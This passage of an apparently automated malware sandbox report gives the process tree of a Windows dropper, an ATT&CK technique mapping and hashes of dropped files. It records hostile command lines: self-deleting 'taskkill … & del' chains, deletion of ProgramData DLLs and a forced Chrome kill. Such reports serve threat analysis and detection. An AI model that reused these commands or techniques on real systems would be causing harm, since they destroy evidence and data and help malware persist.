                                                                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4764.20.458702240\101157898" -childID 3 -isForBrowser -prefsHandle 3348 -prefMapHandle 3308 -prefsLen 7013 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4764 "\\.\pipe\gecko-crash-server-pipe.4764" 1884 tab
                                                                                                                                                          9⤵
                                                                                                                                                            PID:5320
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                        7⤵
                                                                                                                                                          PID:5344
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffa59404f50,0x7ffa59404f60,0x7ffa59404f70
                                                                                                                                                            8⤵
                                                                                                                                                              PID:6312
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1664 /prefetch:8
                                                                                                                                                              8⤵
                                                                                                                                                                PID:6292
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2280 /prefetch:8
                                                                                                                                                                8⤵
                                                                                                                                                                  PID:5392
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1616 /prefetch:2
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:7076
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2636 /prefetch:1
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:2504
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2628 /prefetch:1
                                                                                                                                                                      8⤵
                                                                                                                                                                        PID:4860
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:5516
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3612 /prefetch:1
                                                                                                                                                                          8⤵
                                                                                                                                                                            PID:1688
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3796 /prefetch:1
                                                                                                                                                                            8⤵
                                                                                                                                                                              PID:3136
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4052 /prefetch:1
                                                                                                                                                                              8⤵
                                                                                                                                                                                PID:7124
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1604,17459959003010065283,10645167950770780245,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5536 /prefetch:8
                                                                                                                                                                                8⤵
                                                                                                                                                                                  PID:3164
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "cmd.exe" /C taskkill /F /PID 1216 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\fsSjCLWntUWlU81yUA8bpu17.exe"
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:6956
                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                    taskkill /F /PID 1216
                                                                                                                                                                                    8⤵
                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                    PID:6968
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  "cmd.exe" /C taskkill /F /PID 1216 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\fsSjCLWntUWlU81yUA8bpu17.exe"
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:7264
                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                      taskkill /F /PID 1216
                                                                                                                                                                                      8⤵
                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                      PID:5256
                                                                                                                                                                                • C:\Users\Admin\Documents\qDtCaSZMrseXgx9FBq2B_J2A.exe
                                                                                                                                                                                  "C:\Users\Admin\Documents\qDtCaSZMrseXgx9FBq2B_J2A.exe"
                                                                                                                                                                                  6⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:4388
                                                                                                                                                                                  • C:\Users\Admin\Documents\qDtCaSZMrseXgx9FBq2B_J2A.exe
                                                                                                                                                                                    C:\Users\Admin\Documents\qDtCaSZMrseXgx9FBq2B_J2A.exe
                                                                                                                                                                                    7⤵
                                                                                                                                                                                      PID:4436
                                                                                                                                                                                  • C:\Users\Admin\Documents\6MonOOCPABMpffA9wRLKTaI5.exe
                                                                                                                                                                                    "C:\Users\Admin\Documents\6MonOOCPABMpffA9wRLKTaI5.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    PID:196
                                                                                                                                                                                    • C:\Users\Admin\Documents\6MonOOCPABMpffA9wRLKTaI5.exe
                                                                                                                                                                                      C:\Users\Admin\Documents\6MonOOCPABMpffA9wRLKTaI5.exe
                                                                                                                                                                                      7⤵
                                                                                                                                                                                        PID:4956
                                                                                                                                                                                    • C:\Users\Admin\Documents\HUus17UsL5HRRz_1Yejmq06v.exe
                                                                                                                                                                                      "C:\Users\Admin\Documents\HUus17UsL5HRRz_1Yejmq06v.exe"
                                                                                                                                                                                      6⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                      PID:4672
                                                                                                                                                                                      • C:\Users\Admin\Documents\HUus17UsL5HRRz_1Yejmq06v.exe
                                                                                                                                                                                        C:\Users\Admin\Documents\HUus17UsL5HRRz_1Yejmq06v.exe
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:2204
                                                                                                                                                                                      • C:\Users\Admin\Documents\vPL5qiuO2n9qaB7YsvGnaH4p.exe
                                                                                                                                                                                        "C:\Users\Admin\Documents\vPL5qiuO2n9qaB7YsvGnaH4p.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                        PID:5076
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:5252
                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                              taskkill /f /im chrome.exe
                                                                                                                                                                                              8⤵
                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                              PID:5976
                                                                                                                                                                                        • C:\Users\Admin\Documents\0zyhzHqMb9STVVNtGvxvDjDH.exe
                                                                                                                                                                                          "C:\Users\Admin\Documents\0zyhzHqMb9STVVNtGvxvDjDH.exe"
                                                                                                                                                                                          6⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                          PID:2024
                                                                                                                                                                                        • C:\Users\Admin\Documents\tGlMFPfV8qDBbyShm3uDiOEv.exe
                                                                                                                                                                                          "C:\Users\Admin\Documents\tGlMFPfV8qDBbyShm3uDiOEv.exe"
                                                                                                                                                                                          6⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:64
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im tGlMFPfV8qDBbyShm3uDiOEv.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\tGlMFPfV8qDBbyShm3uDiOEv.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:5328
                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                taskkill /im tGlMFPfV8qDBbyShm3uDiOEv.exe /f
                                                                                                                                                                                                8⤵
                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                PID:3056
                                                                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                timeout /t 6
                                                                                                                                                                                                8⤵
                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                PID:7068
                                                                                                                                                                                          • C:\Users\Admin\Documents\B3yqh57fVfsBGKxG0nWAohYI.exe
                                                                                                                                                                                            "C:\Users\Admin\Documents\B3yqh57fVfsBGKxG0nWAohYI.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            PID:2148
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im "B3yqh57fVfsBGKxG0nWAohYI.exe" /f & erase "C:\Users\Admin\Documents\B3yqh57fVfsBGKxG0nWAohYI.exe" & exit
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:1428
                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                  taskkill /im "B3yqh57fVfsBGKxG0nWAohYI.exe" /f
                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                  PID:5672
                                                                                                                                                                                            • C:\Users\Admin\Documents\qu_hPoQwndzqu2f0kxTtX5a7.exe
                                                                                                                                                                                              "C:\Users\Admin\Documents\qu_hPoQwndzqu2f0kxTtX5a7.exe"
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:1728
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-0U9S3.tmp\qu_hPoQwndzqu2f0kxTtX5a7.tmp
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-0U9S3.tmp\qu_hPoQwndzqu2f0kxTtX5a7.tmp" /SL5="$1031A,28982256,486912,C:\Users\Admin\Documents\qu_hPoQwndzqu2f0kxTtX5a7.exe"
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:3872
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c sonia_8.exe
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                            PID:584
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_8.exe
                                                                                                                                                                                              sonia_8.exe
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:1808
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c sonia_10.exe
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                            PID:1220
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_10.exe
                                                                                                                                                                                              sonia_10.exe
                                                                                                                                                                                              5⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:2680
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\4o6t6xSNjXAL8al43strKtuV.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\4o6t6xSNjXAL8al43strKtuV.exe"
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                PID:4872
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2.exe
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                  PID:4092
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\5B9ZCUVL4lmiKVNvKKCK5Zv2.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\5B9ZCUVL4lmiKVNvKKCK5Zv2.exe"
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:1992
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\PsDDZAolSRB9xyxycTRhZ40R.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\PsDDZAolSRB9xyxycTRhZ40R.exe"
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                PID:1712
                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\PsDDZAolSRB9xyxycTRhZ40R.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\PsDDZAolSRB9xyxycTRhZ40R.exe" -a
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:2820
                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im "sonia_10.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_10.exe" & exit
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:1580
                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                    taskkill /im "sonia_10.exe" /f
                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                    PID:344
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c sonia_9.exe
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                              PID:1080
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_9.exe
                                                                                                                                                                                                sonia_9.exe
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                PID:2100
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_9.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_9.exe
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:3856
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c sonia_3.exe
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                              PID:504
                                                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                        • Modifies registry class
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                        PID:4692
                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                          PID:1012
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_3.exe
                                                                                                                                                                                        sonia_3.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        PID:1384
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im sonia_3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_3.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:212
                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                              taskkill /im sonia_3.exe /f
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                              PID:2308
                                                                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                              timeout /t 6
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                              PID:4536
                                                                                                                                                                                        • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                          rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                          PID:5772
                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:5792
                                                                                                                                                                                          • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                            1⤵
                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                            PID:1580
                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5960
                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5960 -s 624
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                  PID:6104
                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:6228
                                                                                                                                                                                              • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:6244

                                                                                                                                                                                                Network

                                                                                                                                                                                                MITRE ATT&CK Matrix ATT&CK v6

                                                                                                                                                                                                Persistence

                                                                                                                                                                                                Modify Existing Service

                                                                                                                                                                                                1
                                                                                                                                                                                                T1031

                                                                                                                                                                                                Registry Run Keys / Startup Folder

                                                                                                                                                                                                1
                                                                                                                                                                                                T1060

                                                                                                                                                                                                BITS Jobs

                                                                                                                                                                                                1
                                                                                                                                                                                                T1197

                                                                                                                                                                                                Defense Evasion

                                                                                                                                                                                                Modify Registry

                                                                                                                                                                                                2
                                                                                                                                                                                                T1112

                                                                                                                                                                                                Disabling Security Tools

                                                                                                                                                                                                1
                                                                                                                                                                                                T1089

                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                1
                                                                                                                                                                                                T1497

                                                                                                                                                                                                BITS Jobs

                                                                                                                                                                                                1
                                                                                                                                                                                                T1197

                                                                                                                                                                                                Credential Access

                                                                                                                                                                                                Credentials in Files

                                                                                                                                                                                                3
                                                                                                                                                                                                T1081

                                                                                                                                                                                                Discovery

                                                                                                                                                                                                Query Registry

                                                                                                                                                                                                6
                                                                                                                                                                                                T1012

                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                1
                                                                                                                                                                                                T1497

                                                                                                                                                                                                System Information Discovery

                                                                                                                                                                                                6
                                                                                                                                                                                                T1082

                                                                                                                                                                                                Peripheral Device Discovery

                                                                                                                                                                                                1
                                                                                                                                                                                                T1120

                                                                                                                                                                                                Collection

                                                                                                                                                                                                Data from Local System

                                                                                                                                                                                                3
                                                                                                                                                                                                T1005

                                                                                                                                                                                                Command and Control

                                                                                                                                                                                                Web Service

                                                                                                                                                                                                1
                                                                                                                                                                                                T1102

                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                Downloads

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\libcurl.dll
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  d09be1f47fd6b827c81a4812b4f7296f

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  028ae3596c0790e6d7f9f2f3c8e9591527d267f7

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\libcurlpp.dll
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  e6e578373c2e416289a8da55f1dc5e8e

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  b601a229b66ec3d19c2369b36216c6f6eb1c063e

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\libgcc_s_dw2-1.dll
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  9aec524b616618b0d3d00b27b6f51da1

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  64264300801a353db324d11738ffed876550e1d3

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\libstdc++-6.dll
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  5e279950775baae5fea04d2cc4526bcc

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  8aef1e10031c3629512c43dd8b0b5d9060878453

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\libwinpthread-1.dll
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  1e0d62c34ff2e649ebc5c372065732ee

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  fcfaa36ba456159b26140a43e80fbd7e9d9af2de

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\setup_install.exe
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  6ee3a69de86ae9cc58f74ba2aeddce38

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  ed53ce3f4329e618823a5a0c789877a29ced0d97

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  14f7aa29b085bc1e65a24460893e657016366fb86a0a400c819129a5e6096eb2

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  264205b81c2d89ffbe3c20c94c4ff7565f51479db9346af67e3b946a9dab6bf4cbe897113ca55bb74a6d9a1315cdf7a1a30602c172d40a42a37ff1716a177cd5

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\setup_install.exe
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  6ee3a69de86ae9cc58f74ba2aeddce38

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  ed53ce3f4329e618823a5a0c789877a29ced0d97

                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                  14f7aa29b085bc1e65a24460893e657016366fb86a0a400c819129a5e6096eb2

                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                  264205b81c2d89ffbe3c20c94c4ff7565f51479db9346af67e3b946a9dab6bf4cbe897113ca55bb74a6d9a1315cdf7a1a30602c172d40a42a37ff1716a177cd5

                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_1.exe
                                                                                                                                                                                                  MD5

                                                                                                                                                                                                  151ac4868889bf34489fec00289e2b68

                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                  2e7b27cf334c64b0b28c5ca5742b4d920fa0434b

                                                                                                                                                                                                  SHA256

